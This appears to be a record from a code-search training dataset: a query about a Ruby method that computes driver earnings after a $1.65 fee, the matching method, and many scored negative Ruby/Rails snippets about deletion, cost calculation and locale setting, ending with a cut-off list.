"def _draft_destruction\n transaction do\n data = {\n item: self,\n event: :destroy\n }\n data[:object] = object_attrs_for_draft_record if Draftsman.stash_drafted_changes?\n data[Draftsman.whodunnit_field] = Draftsman.whodunnit\n\n # Stash previous draft in case it needs to be reverted later\n if self.draft?\n attrs = send(self.class.draft_association_name).attributes\n\n data[:previous_draft] =\n if self.class.draft_class.previous_draft_col_is_json?\n attrs\n else\n Draftsman.serializer.dump(attrs)\n end\n end\n\n data = merge_metadata_for_draft(data)\n\n if send(self.class.draft_association_name).present?\n send(self.class.draft_association_name).update!(data)\n else\n send(\"build_#{self.class.draft_association_name}\", data)\n send(self.class.draft_association_name).save!\n send(\"#{self.class.draft_association_name}_id=\", send(self.class.draft_association_name).id)\n self.update_column(\"#{self.class.draft_association_name}_id\", send(self.class.draft_association_name).id)\n end\n\n trash!\n\n # Mock `dependent: :destroy` behavior for all trashable associations\n dependent_associations = self.class.reflect_on_all_associations(:has_one) + self.class.reflect_on_all_associations(:has_many)\n\n dependent_associations.each do |association|\n if association.klass.draftable? && association.options.has_key?(:dependent) && association.options[:dependent] == :destroy\n dependents = self.send(association.name)\n dependents = [dependents] if (dependents && association.macro == :has_one)\n\n if dependents\n dependents.each do |dependent|\n dependent.draft_destruction unless dependent.draft? && dependent.send(dependent.class.draft_association_name).destroy?\n end\n end\n end\n end\n end\n end",
"def delete_logic( defer = false, mask_exceptions = true )\n if defer\n database.add_to_bulk_cache( { '_id' => self['_id'], '_rev' => rev, '_deleted' => true } )\n else\n begin\n delete_now\n rescue Exception => e\n if mask_exceptions || e.class == CouchDB::ResourceNotFound\n false\n else \n raise e\n end \n end \n end \n end",
"def destroy!\n destroy || _raise_record_not_destroyed\n end",
"def delete( object )\n\n write_targets do |target|\n rel = rel_for_object( object )\n target.reject! { |l| l['rel'] == rel }\n end\n\n if (c = @klass.correlation_for( object )) && c.recipocal?\n if self.owner && object.respond_to?( :links )\n if object.links.recipocal?( self.owner )\n object.links.delete( self.owner )\n object.save unless object.new? || @recipocating\n end\n end\n end\n\n self.owner.save if self.owner && !self.owner.new? && !@recipocating\n\n self\n end",
"def after_destroy\n ExhibitItem.destroy_all( [ \"exhibiting_id=? AND exhibiting_type=?\", self.id, self.class.name ] )\n ResourceListItem.destroy_all( [ \"resource_listing_id=? AND resource_listing_type=?\", self.id, self.class.name ] )\n PackageItem.destroy_all( [ \"packaging_id=? AND packaging_type=?\", self.id, self.class.name ] )\n end",
"def before_destroy\n super\n self.remove_all_owners\n self.remove_all_members\n self.remove_all_account_configs\n self.delete_all_custom_services\n end",
"def call_cleanup\n cleanup\n self.save!\n rescue StandardError => e\n logger.error(e.message)\n raise\n end",
"def destroy\n Business.where([\"address_id = ?\", @address.address_id]).each do |business|\n business.destroy\n end\n Contact.where([\"address_id = ?\", @address.address_id]).each do |contact|\n Business.where([\"prim_contact_id = ?\", contact.contact_id]).each do |business|\n business.destroy\n end\n Business.where([\"sec_contact_id = ?\", contact.contact_id]).each do |business|\n business.destroy\n end\n BusinessCard.where([\"contact_id = ?\", contact.contact_id]).each do |business_card|\n business_card.destroy\n end\n Interaction.where([\"contact_id = ?\", contact.contact_id]).each do |interaction|\n interaction.destroy\n end\n InvestorPref.where([\"contact_id = ?\", contact.contact_id]).each do |investor_pref|\n investor_pref.destroy\n end\n Property.where([\"owner = ?\", contact.contact_id]).each do |property|\n Image.where([\"property_id = ?\", property.property_id]).each do |image|\n image.destroy\n end\n Interaction.where([\"property_id = ?\", property.property_id]).each do |interaction|\n interaction.destroy\n end\n PropDoc.where([\"property_id = ?\", property.property_id]).each do |prop_doc|\n prop_doc.destroy\n end\n RentalUnit.where([\"property_id = ?\", property.property_id]).each do |rental_unit|\n rental_unit.destroy\n end\n Transaction.where([\"property_id = ?\", property.property_id]).each do |transaction|\n transaction.destroy\n end\n property.destroy\n end\n RentalUnit.where([\"tenant = ?\", contact.contact_id]).each do |rental_unit|\n rental_unit.destroy\n end\n Transaction.where([\"purchased_by = ?\", contact.contact_id]).each do |transaction|\n transaction.destroy\n end\n contact.destroy\n end\n Property.where([\"address_id = ?\", @address.address_id]).each do |property|\n Image.where([\"property_id = ?\", property.property_id]).each do |image|\n image.destroy\n end\n Interaction.where([\"property_id = ?\", property.property_id]).each do |interaction|\n interaction.destroy\n end\n PropDoc.where([\"property_id = ?\", property.property_id]).each do |prop_doc|\n prop_doc.destroy\n end\n RentalUnit.where([\"property_id = ?\", property.property_id]).each do |rental_unit|\n rental_unit.destroy\n end\n Transaction.where([\"property_id = ?\", property.property_id]).each do |transaction|\n transaction.destroy\n end\n property.destroy\n end\n @address.destroy\n respond_to do |format|\n format.html { redirect_to addresses_url, notice: 'Address was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def run\n attributes = @adapter.persistence_attributes(self, @attributes)\n\n parents = @adapter.process_belongs_to(self, attributes)\n persisted = persist_object(@meta[:method], attributes)\n @resource.decorate_record(persisted)\n assign_temp_id(persisted, @meta[:temp_id])\n\n associate_parents(persisted, parents)\n\n children = @adapter.process_has_many(self, persisted)\n\n associate_children(persisted, children) unless @meta[:method] == :destroy\n\n post_process(persisted, parents)\n post_process(persisted, children)\n after_graph_persist = -> { @resource.after_graph_persist(persisted, metadata) }\n add_hook(after_graph_persist, :after_graph_persist)\n before_commit = -> { @resource.before_commit(persisted, metadata) }\n add_hook(before_commit, :before_commit)\n after_commit = -> { @resource.after_commit(persisted, metadata) }\n add_hook(after_commit, :after_commit)\n persisted\n end",
"def before_destroy_user\n indestructible_demo_user\n\n self.opml_import_job_state.opml_import_failures.delete_all\n self.opml_import_job_state.delete\n self.opml_export_job_state.delete\n self.refresh_feed_job_states.delete_all\n self.subscribe_job_states.delete_all\n\n self.folders.delete_all\n self.entry_states.delete_all\n\n # feed subscriptions are deleted WITH callbacks, to take care of the possible deletion of feeds with no more\n # subscribed users\n self.feed_subscriptions.destroy_all\n end",
"def destroy\n @ped_strategy = PedStrategy.find(params[:id])\n #<rck> Ing. César Reyes - Actualiza en Automatico la Jerarquia\n sql = ActiveRecord::Base.connection()\n sql.begin_db_transaction\n hierarchy = \"update ped_strategies\n set hierarchy = hierarchy - 1\n where hierarchy > #{@ped_strategy.hierarchy}\"\n sql.update hierarchy\n sql.commit_db_transaction \n #</rck>\n @ped_strategy.destroy\n\n respond_to do |format|\n format.html { redirect_to ped_strategies_url }\n format.json { head :no_content }\n end\n end",
"def destroy_all\n each(&:destroy_all)\n end",
"def destroy_everything\n Event.destroy_all\n Hotel.destroy_all\n Amenity.destroy_all\n Article.destroy_all\n User.destroy_all\nend",
"def destroy\n if @question.status == 'draft'\n if params[:cascade] == 'true'\n @question.cascading_action do |element|\n # Original item for deletion can be used elsewhere, children must not be reused\n element.destroy if element.status == 'draft' && (element.exclusive_use? || element == @question)\n end\n end\n @question.destroy\n render json: @question\n else\n render json: @question.errors, status: :unprocessable_entity\n end\n end",
"def destroy\n self.class.where(:id => self.id).update_all(:is_mirrored => false) if self.is_mirrored?\n super\n end",
"def delete_existing\n Answer.delete_all\n Question.delete_all\n Knock.delete_all\n Door.delete_all\n Canvasser.delete_all\nend",
"def handle_destroy\n obj = model.with_pk(normalized_type, request, request.id)\n model.hook(:before_destroy, request, obj)\n model.destroy(obj)\n model.hook(:after_destroy, request, obj)\n request.set_flash_notice(\"Deleted #{model.class_name}\")\n redirect(:delete, obj)\n end",
"def destroy\n @user = User.find(params[:id])\n @action = request.referrer\n @user.delflag = true\n if @user.update_attributes(params[:user])\n @customer = Customer.where(:user_id => \"#{@user.id}\", :delflag => false)\n if @customer.present?\n @customer.each do |c|\n c.delflag = true\n Customer.where(:id => c.id).update_all(:deflag => true)\n end\n end\n @vehicle = Vehicle.where(:user_id => \"#{@user.id}\", :delflag => false)\n if @vehicle.present?\n @vehicle.each do |v|\n v.delflag = true\n Vehicle.where(:id => v.id).update_all(:deflag => true)\n end\n end\n @location = Location.where(:user_id => \"#{@user.id}\", :delflag => false)\n if @location.present?\n @location.each do |l|\n l.delflag = true\n Location.where(:id => l.id).update_all(:deflag => true)\n end\n end\n @org = Organization.where(:user_id => \"#{@user.id}\", :delflag => false)\n if @org.present?\n @org.each do |o|\n o.delflag = true\n Organization.where(:id => o.id).update_all(:deflag => true)\n end\n end\n @floor = Floor.where(:user_id => \"#{@user.id}\", :delflag => false)\n if @floor.present?\n @floor.each do |f|\n f.delflag = true\n Floor.where(:id => f.id).update_all(:deflag => true)\n end\n end\n @user = User.where(:parent_id => \"#{@user.id}\", :delflag => false)\n if @user.present?\n @user.each do |u|\n u.delflag = true\n user.where(:id => u.id).update_all(:deflag => true)\n end\n end\n\n flash[:notice] = \"Successfully Deleted\"\n respond_to do |format|\n format.html { redirect_to @action }\n format.json { head :no_content }\n end \n else\n flash[:notice] = \"Could not Deleted\"\n respond_to do |format|\n format.html { redirect_to @action }\n format.json { head :no_content }\n end\n end\n\nend",
"def run_on_deletion(paths)\n end",
"def run_on_deletion(paths)\n end",
"def pre_process_batch_remove(docs, method)\n docs.map do |doc|\n self.path = doc.atomic_path unless path\n execute_callback :before_remove, doc\n unless _assigning?\n doc.apply_destroy_dependencies!\n doc.run_before_callbacks(:destroy) if method == :destroy\n end\n _target.delete_one(doc)\n _unscoped.delete_one(doc)\n unbind_one(doc)\n execute_callback :after_remove, doc\n doc.send(:as_attributes)\n end\n end",
"def execute\n begin\n return false unless check_guards\n execute_actions\n rollback_actions unless self.failed_action.nil?\n self.failed_action.nil?\n ensure\n self.save!\n end\n end",
"def destroy_cascade(current_user_id)\n self.current_user_id = current_user_id\n purchases = Purchase.where(\"product_id=#{id}\")\n purchases.each do |purchase|\n purchase.destroy_cascade(current_user_id)\n end\n destroy\n end",
"def cascade(data=nil)\n o = renew\n o.nested!(true)\n o.update!(data) if data\n o\n end",
"def clean_database\n [Entry, Room, User].each do |model|\n model.delete_all\n end\nend",
"def destroy_and_delete_associations\n unless service.account.provider_can_use?(:api_as_product)\n reflection = BackgroundDeletion::Reflection.new(:backend_apis)\n ReflectionDestroyer.new(service, reflection, caller_worker_hierarchy).destroy_later\n end\n\n super\n end",
"def clean\n disable_referential_integrity do\n tables_cache.keys.reverse_each do |table|\n ActiveRecord::Base.connection.execute %(\n DELETE FROM #{table}\n )\n end\n end\n end",
"def destroy_all\n ids = self.all.map{|item| item.id}\n bulk_update do\n ids.each do |item|\n find(item).destroy\n end\n end\n # Note collection is not emptied, and next_id is not reset.\n end",
"def destroy_all\n ids = self.all.map{|item| item.id}\n bulk_update do\n ids.each do |item|\n find_by_id(item).destroy\n end\n end\n # Note collection is not emptied, and next_id is not reset.\n end",
"def destroy\n raise NotImplementedError\n end",
"def destroy; delete end",
"def destroy_all\n all.each(&:destroy)\n end",
"def commit_if_delete_dirty\n # no op\n end",
"def destroy_all\n begin\n Location.destroy_all\n Affiliation.destroy_all\n Person.destroy_all\n\n render json: {\n success: 'Deleted all data successfully'\n }\n rescue => e\n render json: {\n error: e\n }\n end\n end"
] |
[
"0.6116815",
"0.59378946",
"0.5873705",
"0.57567203",
"0.5699463",
"0.56989133",
"0.56552595",
"0.5633039",
"0.5632568",
"0.556307",
"0.5531316",
"0.5526761",
"0.550779",
"0.5497159",
"0.549378",
"0.549378",
"0.5486672",
"0.54841965",
"0.5451491",
"0.5448562",
"0.5437481",
"0.5428594",
"0.5399003",
"0.5392626",
"0.5386276",
"0.5377411",
"0.53710026",
"0.5368135",
"0.5358137",
"0.53537226",
"0.53481424",
"0.53408456",
"0.53124255",
"0.52799493",
"0.52737445",
"0.52505636",
"0.52433944",
"0.5230893",
"0.52304995",
"0.5224904",
"0.5224349",
"0.522348",
"0.5205413",
"0.5203316",
"0.5197805",
"0.51947606",
"0.5193661",
"0.51913846",
"0.51909894",
"0.51785266",
"0.51779866",
"0.51559",
"0.5154342",
"0.51540035",
"0.51406634",
"0.51397455",
"0.5139103",
"0.5117521",
"0.5114034",
"0.51047176",
"0.5100681",
"0.509934",
"0.5098505",
"0.5088368",
"0.5084646",
"0.5083781",
"0.507896",
"0.5076477",
"0.5076221",
"0.50723475",
"0.50712866",
"0.50687546",
"0.5061579",
"0.5057688",
"0.50543195",
"0.50459486",
"0.5045465",
"0.503917",
"0.5033726",
"0.50300723",
"0.5027491",
"0.50201565",
"0.5007087",
"0.5001158",
"0.49967495",
"0.49967495",
"0.49961805",
"0.49899122",
"0.49849796",
"0.49729058",
"0.4971938",
"0.49685225",
"0.49678499",
"0.4967574",
"0.4965825",
"0.49650532",
"0.4962785",
"0.49614948",
"0.49603713",
"0.49553007"
] |
0.65323555
|
0
|
The driver gets 80% of the trip cost after a fee of $1.65 is subtracted
|
def driver_earnings
before_fee = self.total_earnings
if before_fee == 0
return 0
end
after_fee = (before_fee - 165)
percentage = 0.8
driver_earnings = after_fee * percentage
return driver_earnings
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def host_fee\n (total - net_rate).round(2)\n end",
"def fuel_cost\n ((amount * 100) / (mileage - predecessor.mileage)).round(1) if predecessor\n end",
"def cost\n deductible * RATE\n end",
"def calculate_pay(trip_cost)\n return trip_cost >= TRIP_FEE ? (trip_cost - TRIP_FEE) * 0.80 : 0.0\n end",
"def actual_cost\n self.cost/1000.to_f\n end",
"def profit\n total_before_tax - total_cost\n end",
"def profit\n total_before_tax - total_cost\n end",
"def calculateFuelCost( distance, distancePerGallon, pricePerGallon )\n # Cost = ( Distance * Price per gallon ) / Efficiency\n cost = ( distance * pricePerGallon ) / distancePerGallon\n\n return cost.round( 2 )\nend",
"def total_earnings\n # pull all trips from driver\n driver_trips = self.trips\n # driver.trips\n # iterate and determine total for each trip grab the total cost and do math\n trips_total_cost = 0\n driver_trips.each do |trip|\n if trip.cost != nil\n trips_total_cost += ((trip.cost - (1.65*100))*0.8)\n end\n end\n \n trips_total_cost /= 100\n trips_total_cost.round(2)\n return trips_total_cost\n end",
"def cost\n 0.89\n end",
"def mark_up_amt\n rounder5(self.vehicle.price * 0.082)\n end",
"def earnings\n drivers_trips = self.all(id: params[:id].to_i)\n fee = drivers_trips.length * 1.65 #a fee is subtracted for each trip, multiplied by total trips\n gross_earnings = drivers_trips.cost.reduce(:+) - fee\n net_earnings = gross_earnings * 0.80\n\n return net_earnings\n end",
"def balance_owed\n discounted_price - amount_paid\n end",
"def compute_unit_rental_price\n per_time_fee + per_mileage_fee\n end",
"def cost_difference\n cost - estimated_cost\n end",
"def profit\n revenue - total_costs\n end",
"def cost\n @beverage.cost + 0.10\n end",
"def cost\n @beverage.cost + 0.10\n end",
"def total_revenue()\n total_revenue = 0\n fee = 1.65\n trip_history = self.trips\n trip_history.each do |trip|\n if (trip.cost != nil) && (trip.cost > fee)\n total_revenue += (trip.cost - fee) * 0.8\n end\n end\n return total_revenue\n end",
"def cost\n @beverage.cost + 0.15\n end",
"def adjusted_total_cost(distance, new_mpg, cpg)\n\tadjusted_price = (distance / new_mpg) * cpg\nend",
"def cost\n 0.99\n end",
"def cost\n @cost = 0.89\n end",
"def gain(new_total_cost,original_total_cost = @original_total_cost)\n ((original_total_cost - new_total_cost) / original_total_cost.to_f) * 100\nend",
"def calc_total_cost()\n\t\ttotal_cost = @cost.to_i * 0.9\n\tend",
"def cost\n # Todo pull this from the DB\n 1000\n end",
"def btc_profit\n break_even.abs\n end",
"def cost\n @beverage.cost + 0.20\n end",
"def cost\n 1.99\n end",
"def price\n return base_price - quantity_discount + shipping\nend",
"def total_fuel_cost\n self.inject(0) do |accum,trip|\n accum += trip.fuel_cost_usd\n accum\n end\n end",
"def fees\n total_input - total_output\n end",
"def per_ticket_cost\n flight_cost\n end",
"def fee\n (amount * 0.005) if amount\n end",
"def solve(meal_cost, tip_percent, tax_percent)\n tip = meal_cost * (tip_percent / 100.0)\n tax = meal_cost * (tax_percent / 100.0)\n total_cost = (meal_cost + tip + tax).round\n puts total_cost\nend",
"def trip_cost(distance, miles_per_gal, price_per_gal)\n result = (((distance.to_f / 100) * miles_per_gal) * price_per_gal) #can also do distance / 100.0 because as long as one of the numbers is a floating point it will return a decimal number\n return result\nend",
"def solve(meal_cost, tip_percent, tax_percent)\n tip = (tip_percent.to_f/100) * meal_cost\n tax = (tax_percent.to_f/100) * meal_cost\n pay = meal_cost + tip + tax\n return pay.round()\nend",
"def direct_costs_for_one_time_fee\n # TODO: It's a little strange that per_unit_cost divides by\n # quantity, then here we multiply by quantity. It would arguably be\n # better to calculate total cost here in its own method, then\n # implement per_unit_cost to call that method.\n num = self.quantity || 0.0\n num * self.per_unit_cost\n end",
"def cost\n @cost = 0.99\n end",
"def get_total_price\n reservation = get_reservation_braintree\n duration = reservation.to - reservation.from\n total = reservation.listing.fees + (duration * reservation.listing.price_per_night)\n total.to_f\n end",
"def total_cost(distance, mpg, cpg)\n\tprice = (distance / mpg) * cpg \nend",
"def cost\n sales_fee\n end",
"def cost\n return @extra_cost + @basic_booking.cost\n end",
"def cost \n return @extra_cost + @basic_booking.cost\n end",
"def cost \n return @extra_cost + @basic_booking.cost\n end",
"def per_trip_total\n (per_ticket_cost + checked_bag_cost + per_trip_accom)\n end",
"def total_cost\n # quantity * unit_cost_price\n unit_cost_price\n end",
"def charge\n subtotal * 0\n end",
"def unit_cost_price\n self[:cost_price] || unit_price - application_fee\n end",
"def insurance_fee\n (COMMISSION_RATE * INSURANCE_PART_RATE * price).round\n end",
"def cf\n\t\tself.buy ? (-self.amount-self.fee) : (self.amount - self.fee)\n\tend",
"def cost_in_dollars\n self.cost / 100.to_f\n end",
"def cost_of_stay\n num_of_nights * 200.00\n end",
"def final_price\n price * (100 - discount) / 100\n end",
"def cost\r\n 0\r\n end",
"def calculate_fee\n cost = (shooter.current_member? or join_psac) ? 15 : 20\n has_shooter = persisted? ? match.has_more_than_one_shooter?(shooter) : match.has_shooter?(shooter)\n if has_shooter\n cost = 3\n self.squad = 5\n end\n if join_psac\n cost += 30\n end\n self.fee = cost\n end",
"def calculate_commissions\n # We take 30% of the final price\n commission = (self.price * 0.3).round\n\n # We split this commission into fees\n # Half goes to the insurance\n self.insurance_fee = (commission * 0.5).round\n # 1€/day goes to the roadside assistance.\n self.assistance_fee = self.duration * 100\n # The rest goes to us\n self.drivy_fee = commission - self.insurance_fee - self.assistance_fee\n end",
"def solve(meal_cost, tip_percent, tax_percent)\n total = meal_cost + (meal_cost * tip_percent)/100 + (meal_cost * tax_percent)/100\n puts total.round() \nend",
"def cost\n @cost = 1.99\n end",
"def calculate_trial_debt\n\n\t\tsales_tax = self.country.sales_tax\n\t\tday_number = Time.now.day\n \tmonth_number = Time.now.month\n \tmonth_days = Time.now.days_in_month\n\n\t\tdebt_proportion = (month_days - day_number + 1).to_f/month_days.to_f\n\n\t\t#debt = self.plan.plan_countries.find_by(country_id: self.country.id).price.to_f * debt_proportion * ( 1 + sales_tax)\n\t\tdebt = self.company_plan_setting.base_price * self.computed_multiplier * debt_proportion * (1 + sales_tax)\n\n\t\treturn debt\n\n\tend",
"def deduct\n @balance -= @journey_log.fare\n end",
"def cost \n return @extra_cost + @basic_transfer.cost\n end",
"def solve(meal_cost, tip_percent, tax_percent)\n tip_cost = meal_cost * (tip_percent / 100.0)\n tax_cost = meal_cost * (tax_percent / 100.0)\n return (meal_cost + tip_cost + tax_cost).round\nend",
"def total_cost\n @cost + tip\n end",
"def taxi_fare_rate_calculation(distance_travelled, booking_fee)\n \n #basic flag down fee is $2.8\n flag_down_fee = 2.8\n hour = Time.new.hour\n \n # if booking fee exists, how much is it depends on what time of day it is.\n if booking_fee\n case hour\n when 7..9\n flag_down_fee = 3.5 + 2.8\n \n when 17..23\n flag_down_fee = 3.5 + 2.8\n end\n end\n \n case hour\n when 7..9\n taxi_fare_per_km = (1.35 * flag_down_fee.to_f) / distance_travelled.to_f + (1.35 * 0.519480519)\n \n when 10..16\n taxi_fare_per_km = (flag_down_fee.to_f / (distance_travelled.to_f - 1)) + 0.519480519\n \n when 17..19\n taxi_fare_per_km = (1.35 * flag_down_fee.to_f) / distance_travelled.to_f + (1.35 * 0.519480519)\n \n when 20..23\n taxi_fare_per_km = (flag_down_fee.to_f / (distance_travelled.to_f - 1)) + 0.519480519\n \n when 0..5\n taxi_fare_per_km = (1.5 * flag_down_fee.to_f) / distance_travelled.to_f + (1.5 * 0.519480519)\n \n when 6\n taxi_fare_per_km = (flag_down_fee.to_f / (distance_travelled.to_f - 1)) + 0.519480519\n end\n \n return taxi_fare_per_km\nend",
"def fuel_efficiency\n ((mileage - predecessor.mileage) / liter).round(1) if predecessor\n end",
"def profit\n \tself.bid - self.payout\n end",
"def cost\n (@items_cost - @promotion_adjustment).round(2)\n end",
"def total_cost\n dates = ReservationDates.new(checkin:@checkin, checkout:@checkout)\n subtotal = dates.total_nights * 200 \n total = subtotal * 1.101\n return total.round(2)\n end",
"def calculate_costs\n self.amount = self.transaction.shipping_cost + self.transaction.value\n self.shipping_cost = self.transaction.shipping_cost\n self.commission_rate = self.buyer.account.commission_rate || SiteVariable.get(\"global_commission_rate\").to_f # Calculate commission rate, if neither exist commission is set to 0\n self.commission = Money.new((commission_rate * self.transaction.value.cents).ceil) # Calculate commision as commission_rate * item value (without shipping), round up to nearest cent\n end",
"def mark_up()\n return @retail_price-@buying_cost\n end",
"def cost\n super + 0.15\n end",
"def total_cost\n return (date_range.end_date - date_range.start_date) * (200 * (1 - discount))\n end",
"def fuel_up()\n\t\tgallons_needed = 10.0 - @fuel\n\t\tputs \"You must pay $#{3.5 * gallons_needed}\"\n\t\t@fuel = 10.0\n\tend",
"def solve(meal_cost, tip_percent, tax_percent)\n\n result = meal_cost * (1 + tip_percent.to_f / 100 + tax_percent.to_f / 100)\n puts result.round()\n \nend",
"def apply_discount\n\t\t@total -= @discount\n\t\tputs \"Total price expected: £ #{@total.round(3)}\"\n\tend",
"def total_fee\n fee + fee2 + fee3 + fee4\n end",
"def cost\n super + 0.10\n end",
"def cost\n super + 0.10\n end",
"def final_amount\n amount_paid - discount_value - discount_percent\n end",
"def cost\n purchase_cost\n end",
"def cost\n purchase_cost\n end",
"def cost\n total = 0.0\n not_covered.each do |n|\n total += n.cost\n end\n total\n end",
"def total_cost\n total_cost = 0\n trips.each do |trip|\n total_cost += trip.cost\n end\n return \"$ #{total_cost/100.round(2)}\"\n end",
"def cost\n super + 0.20\n end",
"def per_trip_accom\n accom_cost\n end",
"def worth_at_cost\n worth= cost*quantity\n return worth\n end",
"def calculate(t, fraud, type)\r\n#\t\tpp \"1\"\r\n\t\treturn 0.0 if type == 'billable' && self.bid_fee #if this fee is a bid fee and we are not looking at the bid fees then return 0, else continue on\r\n\t#\tpp \"2\"\r\n \t\r\n \tfee = self.fixed if self.price_type == 'F'\r\n \r\n fee = (self.fixed + (t.amount * self.percent) + (fraud == '1' ? self.fraud : 0)).at_least(self.min).at_most(self.max) if self.price_type == 'V' #calculate the fee\r\n \r\n return fee if self.sign == '>=' && self.threshold == 0 #if there is no threshold to worry about get out quick...this is what happens the majority of the time\r\n\t\r\n\t\t#if we get here we know we are dealing with a variable fee\r\n\t\t#puts (self.fixed + (t.amount * self.percent) + (fraud == '1' ? self.fraud : 0)).at_least(self.min)\r\n\t#\tfee = (self.fixed + (t.amount * self.percent) + (fraud == '1' ? self.fraud : 0)).at_least(self.min).at_most(self.max) #calculate the fee\r\n\t#\tpp fee\r\n\t#\tpp \"3\"\r\n\t#\treturn fee if self.sign == '>=' && self.threshold == 0 #if there is no threshold to worry about get out quick...this is what happens the majority of the time\r\n\t\t\r\n\t\t#otherwise we need to determine the sign and threshold before we can return\r\n\t\tcase self.sign\r\n\t\t\twhen '>'\r\n\t\t\t #pp \">\"\r\n\t\t\t\treturn fee if t.amount > self.threshold\r\n\t\t\twhen '>='\r\n\t\t\t #pp \">=\"\r\n\t\t\t\treturn fee if t.amount >= self.threshold\r\n\t\t\twhen '<'\r\n\t\t\t #pp \"<\"\r\n\t\t\t\treturn fee if t.amount < self.threshold\r\n\t\t\twhen '<='\r\n\t\t\t #pp \"<=\"\r\n\t\t\t\treturn fee if t.amount <= self.threshold\r\n\t\t\telse\r\n\t\t\t #pp \"4\"\r\n\t\t\t\treturn 0.0\r\n\t\tend\r\n\t\t\r\n\t\t#if we get here then we have no idea what to do so just return 0\r\n\t\treturn 0.0\r\n\tend",
"def assistance_fee\n ROADSIDE_ASSISSTANCE_FEE_PER_DAY * duration\n end",
"def cost_cal(items)\r\n price = 0\r\n items.item.each do |h|\r\n price += h[:num] * h[:price]\r\n end\r\n #profit = '%.2f' % profit\r\n puts \"Order total: $#{'%.2f' % price}\"\r\n return nil\r\nend",
"def calculator(list)\r\n profit = total_price(list) - total_cost(list) \r\n return profit\r\nend",
"def total_revenue\n costs = @driven_trips.reject {|trip| trip.cost.nil?}.map {|item| item.cost}\n calculated_costs = costs.sum {|item| (item - 1.65) * 0.8.round(2)}\n return calculated_costs\n end",
"def net_rate\n coefficient = 1 - host_fee_percentage.to_f / 100\n (total * coefficient).round(2)\n end",
"def solve(meal_cost, tip_percent, tax_percent)\n puts (meal_cost+(meal_cost*tip_percent/100)+(meal_cost*tax_percent/100)).round\nend",
"def amount_owed\n total_price - amount_paid\n end",
"def cost\n start_value\n end",
"def change_calc(cash_amount, item_price)\n\n # Item price can be eqaul to 0 in case it is free.\n\n if (item_price >= 0 && cash_amount > 0)\n\n if (item_price < cash_amount)\n\n change = cash_amount.to_f - item_price.to_f\n\n return change.to_f\n\n else\n return \"Item costs more than $#{cash_amount.to_f}\"\n end\n end\nend",
"def all_costs\n smoked_all_time * cigaret_price\n end",
"def unpaid_amount\n gross_amount - paid_amount\n end",
"def pay_workers\r\n\t\t@cash -= (@sellers + @thieves)*10\r\n\tend",
"def cost(meth)\n @costs[meth][\"cost_per_call\"] / 100.0 rescue 0.0\n end"
] |
[
"0.73998296",
"0.71889657",
"0.71878946",
"0.7165877",
"0.70974797",
"0.70758295",
"0.70758295",
"0.7039365",
"0.70283157",
"0.70156354",
"0.69998825",
"0.6999457",
"0.69763273",
"0.6974576",
"0.69576335",
"0.69444287",
"0.6927529",
"0.6927529",
"0.6913864",
"0.6909032",
"0.68980676",
"0.6897681",
"0.68908584",
"0.688799",
"0.6881842",
"0.68802285",
"0.6868578",
"0.68628097",
"0.686167",
"0.68577135",
"0.6855515",
"0.6851077",
"0.68455565",
"0.68240035",
"0.68207866",
"0.6804841",
"0.67913836",
"0.678759",
"0.67849195",
"0.6783501",
"0.678142",
"0.67775553",
"0.6775753",
"0.67433804",
"0.67433804",
"0.6740381",
"0.67343086",
"0.67341983",
"0.673198",
"0.67288023",
"0.6726436",
"0.6713125",
"0.66893196",
"0.6683336",
"0.66724765",
"0.66694176",
"0.6664778",
"0.6663053",
"0.6662494",
"0.66618735",
"0.6647696",
"0.6634768",
"0.66316664",
"0.66268873",
"0.66240156",
"0.66205233",
"0.6614327",
"0.6598953",
"0.65777206",
"0.6577107",
"0.6574633",
"0.65617967",
"0.6556739",
"0.6545313",
"0.65435976",
"0.6542456",
"0.65403765",
"0.6537417",
"0.6537417",
"0.65326333",
"0.6526216",
"0.6526216",
"0.65240055",
"0.652095",
"0.65092176",
"0.6505494",
"0.65045536",
"0.6501871",
"0.64952046",
"0.6492824",
"0.64872605",
"0.6478195",
"0.6477485",
"0.64751035",
"0.64652294",
"0.64652205",
"0.6462003",
"0.6458715",
"0.6420607",
"0.6408754",
"0.64063746"
] |
0.0
|
-1
|
set locale for interface translating from current admin user
|
def set_locale
I18n.locale = access_control.user.locale
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_locale\n I18n.locale = session[:admin_locale] = 'fr'\n end",
"def set_locale\n I18n.locale = session[:admin_locale] = 'fr'\n end",
"def set_locale\n # This requires a user model to work. I'm assuming there will be a \"current_user\" helper.\n # If we decide to use Devise, that will be default.\n # I18n.locale = current_user.language || I18n.default_locale\n end",
"def set_locale\n I18n.locale = current_user.try(:locale) || I18n.default_locale\n end",
"def set_locale\n if current_user.blank?\n I18n.locale = valid_language\n logger.debug \"* Locale set to '#{I18n.locale}'\"\n else\n # TODO: Let user decide which language - to high prio in keytech environment\n I18n.locale = 'de' # current_user.language_id\n end\n end",
"def set_locale\n I18n.locale = if user_signed_in?\n current_user.language.to_sym\n else\n I18n.default_locale\n end\n end",
"def set_locale\n if current_user.blank?\n I18n.locale = valid_language\n logger.debug \"* Locale set to '#{I18n.locale}'\"\n else\n I18n.locale = current_user.language_id\n end\n end",
"def set_locale\n if params[:controller] == \"rails_admin/main\"\n I18n.locale = :en\n else\n I18n.locale = :ru\n end\n end",
"def set_locale\n\t\tif current_user\n\t\t\tRails.logger.debug { \"Setting locale <#{current_user.country.locale.to_sym}> using current user: #{current_user}\" }\n\t\t\tI18n.locale = current_user.country.locale.to_sym\n\t\telse\n\t\t\tRails.logger.debug { \"Using default locale <#{I18n.default_locale}>, because no user is signed in.\" }\n\t\t\tI18n.locale = I18n.default_locale\n\t\tend\n\tend",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n if logged_in?\n if !current_user.shainmaster.setting.nil?\n if !current_user.shainmaster.setting.local.nil? && current_user.shainmaster.setting.local != ''\n I18n.locale = current_user.shainmaster.setting.local\n end\n end\n end\n end",
"def set_locale\n if user_signed_in?\n I18n.locale = current_user.language.to_sym\n else\n I18n.locale = I18n.default_locale\n end\n end",
"def set_user_language\n I18n.locale = 'es-VE'\n end",
